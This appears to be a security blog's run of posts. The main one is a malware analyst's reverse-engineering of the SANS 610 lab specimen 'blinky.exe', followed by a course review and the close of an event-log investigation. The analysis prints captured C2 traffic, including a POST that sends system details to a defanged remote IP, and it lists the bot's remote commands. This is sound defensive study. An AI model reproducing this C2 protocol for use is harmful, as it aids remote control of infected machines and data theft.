Double Blinky

Here’s a section of code containing calls to our HTTP functions:

Setting a breakpoint after the InternetReadFile() function is our best bet.

Here are some strings:

Past experience with C2 over HTTP shows that server-to-bot communication is often obfuscated – so I highly doubt that a request for, say, ‘sysinfo’ would come across in the clear. But why not give it a try?

HoneyD was reconfigured to execute ‘scripts\blinky.sh’, which in this test will send back the string ‘sysinfo’ to the requestor, with no HTTP tags or anything else.

Run until the breakpoint. A portion of the stack:

index.php is the last part of the bots’ GET request, and the data at 0x0012FB28 is ‘sysinfox0A’

While tracing through the code, there were two checks I was able to recognize:

If (char is a 0-9) or (char is a-zA-Z)
If char is Newline or Carriage Return

There is some sort of deobfuscation routine here, which I haven’t been able to figure out yet, but each character in ‘sysinfo’ is processed through the below routine:

The crash happens here:

The highlighted instruction generates an Access Violation. Blinky puts its own handler in the SEH chain, and that threw me for a while. But IDA Pro lists this handler as:

So I discounted that. Perhaps the error is a result of debugging, VM, or simply because I didn’t format the C2 correctly. Or just buggy code.

Anyway, time to patch the code by modifying EDX to point to 0x0012FB28 which is the beginning of the ‘sysinfo’ string. This, by the way, was a guess. Turns out… pretty good guess.

Well okay… so the following routine behaves like a strcmp().

So maybe, more of an educated guess.

Anyway, the function jumps, the return code is tested, and then the function at 0×00401000 is called.

Pressing F9 to continue execution (and ensuring sniff_hit is still executing), here’s what happens next:

---------------------------------------------------------------------------
-> 81[.]95.152.178:80
POST /sysinfo.php HTTP/1.1
Referer: fe25de0be9887dbb2ac25dad792fce2a
Response-id: 0
User-Agent: Googlebot/2.1 ( http[:]//www.googlebot.com/bot.html)
Host: 81.95.152.178
Content-Length: 198
Cache-Control: no-cache

Memory load: 45
Total physical memory: 536330240
Available physical memory: 291299328
Total virtual memory: 2147352576
Available virtual memory: 2114596864
OS version: 5.1
Build number: 2600

The bot contains various other commands, such as execute, download, die and wait etc. I tested one other command, execute, and produced a working notepad.exe.

My analysis is still not complete – I really need to figure out that obfuscation routine.

Blinky on the Brain

Blinky.exe is a malware specimen that was used to demonstrate an HTTP C2 channel for Sans 610. I am very familiar with HTTP C2 in our corporate environment, so it was more than a little interesting to start dissecting an actual specimen.

Unfortunately it appeared that the specimen was either neutralized or just plain broken in some way as it kept crashing within my Windows VM; buggy code or anti-analysis measures?

Metainfo

* name = blinky.exe
* bytes = 36864
* type = MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
* md5 = decaa5ef31e95711ffaf2f99d50e7337
* sha1 = 1c8746350bb07881f82340776ab2db2a2d10458e
* ssdeep = 384:q9Yr0Fyv4TsYSPXoml8UrYutfv+rhWuTGR6lx89DthncDk9E:IjFCSsYy+uU8uhv8ZtyA,"blinky.exe"

* metadata
* Creation date: 2008-07-01 02:08:27
* Comment: CPU: Intel 80386
* Comment: Subsystem: Windows GUI
* Format version: Portable Executable: Windows application
* MIME type: application/x-dosexec
* Endian: Little endian

* Antivirus
* Virustotal
• SecureWeb-Gateway Heuristic.Malware
• AntiVir HEUR/Malware
* Jotti
• AntiVir HEUR/Malware

Behavioral Analysis

1. Simple Execution
   1. No visible output
   2. Process Explorer shows the process continues running after a 60 second wait
2. Regshot, Wireshark and CaptureBAT -c
   1. Wireshark shows SYN request to 81[.]95.152.178 on port 80. No DNS
   2. CaptureBAT shows no captured deleted files
   3. Regshot shows that blinky.exe prefetch was created
3. HoneyD (default), Sniff_hit, regshot, wireshark, captureBAT -c
   1. Execution results in a crash; drwtsn32.log and user.dmp produced
   1. Wireshark shows successful transaction to port 80, contents from default configuration of HoneyD are successfully sent to Blinky
   1. No further network traffic is recorded prior to blinky.exe crashing
   1. CaptureBAT caught two deleted files
      1. 29C50FD.dmp, and
      2. 496c_appcompat.txt
   2. Sniff_hit captures the following traffic:

-> 81[.]95.152.178:80

POST /index.php HTTP/1.1
Referer: fe25de0be9887dbb2ac25dad792fce2a
Response-id: 0
User-Agent: Googlebot/2.1 ( http[:]//www.googlebot.com/bot.html)
Host: 81[.]95.152.178
Content-Length: 0
Cache-Control: no-cache

---------------------------------------------------------------------------

<- 81[.]95.152.178:80
HTTP/1.1 404 NOT FOUND
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Content-Location: http[:]//cpmsftwbw27/default.htm
Date: Thu, 04 Apr 2002 06:42:18 GMT
Content-Type: text/html
Accept-Ranges: bytes

You are in Error

You are in Error
O strange and inconceivable thing! (rest is snipped)

---------------------------------------------------------------------------

Next Step

At this point I have observed that the executable reaches a single IP address, transmits a crafted HTTP packet, and receives input prior to crashing.

I have learnt from Sans 610 that in order to create an HTTP connection, send a request and to receive a response, the following function calls are made:

• InternetOpen(), InternetConnect()
• HTTPOpenRequest()
• HTTPAddRequestHeaders() (optional)
• HTTPSendRequest()
• InternetReadFile()

Next step is static code analysis to determine if the above function calls are made. If so, my plan is to debug starting at the conclusion of the InternetReadFile() function (which receives web server output).

Sans 610 GREM

What a fine piece of work.

I imagine that any subject that I have a deep interest in, and yet nominal skills, may evoke the same response after attending a four day class – and perhaps that was the case with Sans 610. But the Reverse Engineering of Malware; now that’s a topic that doesn’t have a 10page primer for ramping up to expert.

The material presented is thorough, the labs reinforced newly learned skills, but it would all be for naught without a decent presenter. Lenny Zeltser is one such presenter. He did a very good job, patient, taking time to answer all questions, no annoying presenter problems (erm, er, ‘stories’, etc) and of course knew the subject matter very well.

The course was divided in to seven sections:

1. Analysis fundamentals: focusing on the general approach to creating an analysis environment to perform controlled behavioral and code analysis of the specimen.
2. Controlling the Trojan: this section took an IRC bot through behavioral analysis and code analysis. The specimen had no anti analysis features, so the analysis focused on observing and documenting behavior, code contructs and ultimately being able to communicate and control the bot.
3. Deeper Analysis: Used some new tools, such as HoneyD, and introduced basic patching of executables during the debug phase.
4. The Web ecosystem: Examination of browser based malware, flash, java, javascript etc.
5. Code Analysis: Contained an assembly primer, basic high level structures represented in assembly, and of great interest was the presentation of malware constructs in assembly (for example, HTTP C2 download, sniffing, DLL injection etc)
6. Self-defending malware: Explores all the techniques used by malware to prevent the reversing process
7. Analyzing web malware: Basically a part two to the web ecosystem section.

Phew, what an action packed four days.

I will start to post reverse engineering information to this blog along with my usual 4n6 data as I start to experiment more and more. In my Corporate environment, there is a never ending supply of malware for sure.

The Time and Attendance Investigation Conclusion

The previous set of tests were conducted using only a Local Account. The tests should be repeated using Network Credentials and Cached Network Credentials.

By performing this exhaustive test, an enterprising coder can use these log characteristics to create a sort of ‘smart’ log parser, thereby reducing a series of Security Log Events to a single event such as ‘Computer Idle to Screensaver Lock’ for example. For each scenario tested, a unique set of event log entries was created. They become a fingerprint of sorts for a particular circumstance.

I welcome your comments and suggestions. Especially if there are any errors in my tests.